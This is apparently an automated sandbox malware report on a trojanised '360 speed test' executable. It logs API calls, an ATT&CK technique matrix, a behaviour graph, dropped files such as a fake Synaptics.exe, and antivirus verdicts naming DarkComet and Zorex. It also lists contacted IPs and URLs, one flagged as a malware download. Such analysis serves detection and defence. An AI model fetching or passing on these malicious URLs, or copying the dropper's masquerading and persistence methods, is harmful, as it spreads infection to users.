              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_00410D10 cpuid 1_2_00410D10
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_004223BC GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,1_2_004223BC
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_0042039F __invoke_watson,__get_daylight,__invoke_watson,__get_daylight,__invoke_watson,____lc_codepage_func,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,__invoke_watson,__invoke_watson,1_2_0042039F
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_0040E470 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,1_2_0040E470
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_0047AD92 OleInitialize,_wcslen,CreateBindCtx,MkParseDisplayName,GetActiveObject,1_2_0047AD92

              Mitre Att&ck Matrix

              Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
              2
              Valid Accounts              		41
              Scripting              		1
              DLL Side-Loading              		1
              Exploitation for Privilege Escalation              		1
              Deobfuscate/Decode Files or Information              		21
              Input Capture              		2
              System Time Discovery              		1
              Replication Through Removable Media              		1
              Archive Collected Data              		Exfiltration Over Other Network Medium1
              Encrypted Channel              		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without Authorization1
              System Shutdown/Reboot
              1
              Replication Through Removable Media              		2
              Native API              		2
              Valid Accounts              		1
              DLL Side-Loading              		41
              Scripting              		LSASS Memory1
              Peripheral Device Discovery              		Remote Desktop Protocol21
              Input Capture              		Exfiltration Over Bluetooth1
              Application Layer Protocol              		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
              Domain Accounts2
              Command and Scripting Interpreter              		Logon Script (Windows)2
              Valid Accounts              		21
              Obfuscated Files or Information              		Security Account Manager4
              File and Directory Discovery              		SMB/Windows Admin Shares2
              Clipboard Data              		Automated ExfiltrationSteganographyExploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
              Local AccountsAt (Windows)Logon Script (Mac)21
              Access Token Manipulation              		21
              Software Packing              		NTDS46
              System Information Discovery              		Distributed Component Object ModelInput CaptureScheduled TransferProtocol ImpersonationSIM Card SwapCarrier Billing Fraud
              Cloud AccountsCronNetwork Logon Script12
              Process Injection              		1
              DLL Side-Loading              		LSA Secrets1
              Query Registry              		SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
              Replication Through Removable MediaLaunchdRc.commonRc.common11
              Masquerading              		Cached Domain Credentials141
              Security Software Discovery              		VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
              External Remote ServicesScheduled TaskStartup ItemsStartup Items2
              Valid Accounts              		DCSync31
              Virtualization/Sandbox Evasion              		Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
              Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/Job31
              Virtualization/Sandbox Evasion              		Proc Filesystem2
              Process Discovery              		Shared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue
              Exploit Public-Facing ApplicationPowerShellAt (Linux)At (Linux)21
              Access Token Manipulation              		/etc/passwd and /etc/shadow1
              Application Window Discovery              		Software Deployment ToolsData StagedExfiltration Over Asymmetric Encrypted Non-C2 ProtocolWeb ProtocolsRogue Cellular Base StationData Destruction
              Supply Chain CompromiseAppleScriptAt (Windows)At (Windows)12
              Process Injection              		Network Sniffing1
              Remote System Discovery              		Taint Shared ContentLocal Data StagingExfiltration Over Unencrypted/Obfuscated Non-C2 ProtocolFile Transfer ProtocolsData Encrypted for Impact

              Behavior Graph

              Hide Legend

              Legend:

              • Process
              • Signature
              • Created File
              • DNS/IP Info
              • Is Dropped
              • Is Windows Process
              • Number of created Registry Values
              • Number of created Files
              • Visual Basic
              • Delphi
              • Java
              • .Net C# or VB.NET
              • C, C++ or other language
              • Is malicious
              • Internet
              behaviorgraph top1 signatures2 2 Behavior Graph ID: 776384 Sample: 360#U6d4b#U901f.exe Startdate: 31/12/2022 Architecture: WINDOWS Score: 100 86 Multi AV Scanner detection for domain / URL 2->86 88 Antivirus detection for URL or domain 2->88 90 Antivirus detection for dropped file 2->90 92 8 other signatures 2->92 7 360#U6d4b#U901f.exe 1 6 2->7         started        10 EXCEL.EXE 23 19 2->10         started        13 Synaptics.exe 2->13         started        process3 dnsIp4 30 C:\Users\user\...\._cache_360#U6d4b#U901f.exe, PE32 7->30 dropped 32 C:\ProgramData\Synaptics\Synaptics.exe, PE32 7->32 dropped 34 C:\ProgramData\Synaptics\RCX35C5.tmp, PE32 7->34 dropped 36 C:\...\Synaptics.exe:Zone.Identifier, ASCII 7->36 dropped 15 ._cache_360#U6d4b#U901f.exe 32 7->15         started        19 Synaptics.exe 16 7->19         started        72 52.109.32.24 MICROSOFT-CORP-MSN-AS-BLOCKUS United States 10->72 74 8.8.8.8 GOOGLEUS United States 10->74 file5 process6 dnsIp7 46 C:\Users\user\AppData\Local\...46etSpeed.dll, PE32 15->46 dropped 48 C:\Users\user\AppData\...\360perfoptm.dll, PE32 15->48 dropped 50 C:\Users\user\AppData\Local\...\360nettj.dll, PE32 15->50 dropped 54 6 other malicious files 15->54 dropped 76 Multi AV Scanner detection for dropped file 15->76 78 Found stalling execution ending in API Sleep call 15->78 22 360SpeedTest.exe 23 44 15->22         started        56 172.217.168.45 GOOGLEUS United States 19->56 58 172.217.168.46 GOOGLEUS United States 19->58 60 69.42.215.252 AWKNET-LLCUS United States 19->60 52 C:\Users\user\Documents\DVWHKMNFNN\~$cache1, PE32 19->52 dropped 80 Antivirus detection for dropped file 19->80 82 Drops PE files to the document folder of the user 19->82 84 Machine Learning detection for dropped file 19->84 26 WerFault.exe 9 19->26         started        28 WerFault.exe 19->28         started        file8 signatures9 process10 dnsIp11 62 183.201.196.131 SHANXIMCC-IDCIDCShanXiChinaMobilecommunicationscorpora China 22->62 64 101.198.1.198 QIHOOBeijingQihuTechnologyCompanyLimitedCN China 22->64 70 15 other IPs or domains 22->70 38 C:\Users\user\AppData\...\nts94A7.tmp.P2P, PE32 22->38 dropped 40 C:\Users\user\AppData\...\nts9477.tmp.P2P, PE32 22->40 dropped 42 C:\Users\user\AppData\...\nts9476.tmp.P2P, PE32 22->42 dropped 44 5 other malicious files 22->44 dropped 66 20.189.173.21 MICROSOFT-CORP-MSN-AS-BLOCKUS United States 26->66 68 192.168.2.1 unknown unknown 26->68 file12

              Screenshots

              Thumbnails

              This section contains all screenshots as thumbnails, including those not shown in the slideshow.


              windows-stand

              Antivirus, Machine Learning and Genetic Malware Detection

              Initial Sample

              SourceDetectionScannerLabelLink
              360#U6d4b#U901f.exe85%ReversingLabsWin32.Backdoor.DarkComet
              360#U6d4b#U901f.exe89%VirustotalBrowse
              360#U6d4b#U901f.exe100%AviraTR/Dldr.Agent.SH
              360#U6d4b#U901f.exe100%AviraW2000M/Dldr.Agent.17651006
              360#U6d4b#U901f.exe100%Joe Sandbox ML

              Dropped Files

              SourceDetectionScannerLabelLink
              C:\ProgramData\Synaptics\Synaptics.exe100%AviraTR/Dldr.Agent.SH
              C:\ProgramData\Synaptics\Synaptics.exe100%AviraW2000M/Dldr.Agent.17651006
              C:\ProgramData\Synaptics\RCX35C5.tmp100%AviraTR/Dldr.Agent.SH
              C:\ProgramData\Synaptics\RCX35C5.tmp100%AviraW2000M/Dldr.Agent.17651006
              C:\ProgramData\Synaptics\Synaptics.exe100%Joe Sandbox ML
              C:\ProgramData\Synaptics\RCX35C5.tmp100%Joe Sandbox ML
              C:\ProgramData\Synaptics\RCX35C5.tmp92%ReversingLabsWin32.Worm.Zorex
              C:\ProgramData\Synaptics\Synaptics.exe85%ReversingLabsWin32.Backdoor.DarkComet
              C:\Users\user\AppData\Local\Temp\?????\360NetUL.dll0%ReversingLabs
              C:\Users\user\AppData\Local\Temp\?????\360P2SP.dll0%ReversingLabs
              C:\Users\user\AppData\Local\Temp\?????\360net.dll0%ReversingLabs
              C:\Users\user\AppData\Local\Temp\?????\LiveUpd360.dll0%ReversingLabs
              C:\Users\user\AppData\Local\Temp\?????\PDown.dll0%ReversingLabs
              C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exe0%ReversingLabs
              C:\Users\user\AppData\Local\Temp\?????\netmon\360nettj.dll0%ReversingLabs
              C:\Users\user\AppData\Local\Temp\?????\netmon\360perfoptm.dll0%ReversingLabs
              C:\Users\user\AppData\Local\Temp\?????\netmon\NetSpeed.dll0%ReversingLabs
              C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe15%ReversingLabs
              C:\Users\user\Documents\DVWHKMNFNN\~$cache192%ReversingLabsWin32.Worm.Zorex

              Unpacked PE Files

              SourceDetectionScannerLabelLinkDownload
              1.2.._cache_360#U6d4b#U901f.exe.400000.0.unpack100%AviraTR/Crypt.XPACK.GenDownload File
              4.3.360SpeedTest.exe.af9ff8a.3.unpack100%AviraTR/Patched.Ren.GenDownload File
              0.0.360#U6d4b#U901f.exe.400000.0.unpack100%AviraTR/Dldr.Agent.SHDownload File
              0.0.360#U6d4b#U901f.exe.400000.0.unpack100%AviraW2000M/Dldr.Agent.17651006Download File
              4.3.360SpeedTest.exe.b71ff7c.7.unpack100%AviraTR/Patched.Ren.GenDownload File
              1.0.._cache_360#U6d4b#U901f.exe.400000.0.unpack100%AviraTR/Crypt.XPACK.GenDownload File
              0.0.360#U6d4b#U901f.exe.4b8e14.1.unpack100%AviraTR/Patched.Ren.GenDownload File
              2.0.Synaptics.exe.400000.0.unpack100%AviraTR/Dldr.Agent.SHDownload File
              2.0.Synaptics.exe.400000.0.unpack100%AviraW2000M/Dldr.Agent.17651006Download File
              4.3.360SpeedTest.exe.b75fdc0.5.unpack100%AviraTR/Patched.Ren.GenDownload File

              Domains

              ⊘No Antivirus matches

              URLs

              SourceDetectionScannerLabelLink
              http://xred.site50.net/syn/SUpdate.ini0%URL Reputationsafe
              http://xred.site50.net/syn/Synaptics.rar100%URL Reputationmalware
              http://www.founder.com.cn/cn/0%URL Reputationsafe
              http://xred.site50.net/syn/SSLLibrary.dll0%URL Reputationsafe
              http://www.carterandcone.com0%URL Reputationsafe
              https://csp.withgoogle.com/csp/report-to/gse_qebhlk0%URL Reputationsafe
              http://bigsoftdlc.360tpcdn.com/auto/20201126/1900021484_094eacafce95b2fe2a636011913a57b0.exey2q0%Avira URL Cloudsafe
              http://xred.site50.net/syn/SUpdate.iniZ0%Avira URL Cloudsafe
              http://softdlc.360tpcdn.com/auto/20201127/100101123_879baf4f2d9d14f191be2443e16504af.exe0%Avira URL Cloudsafe
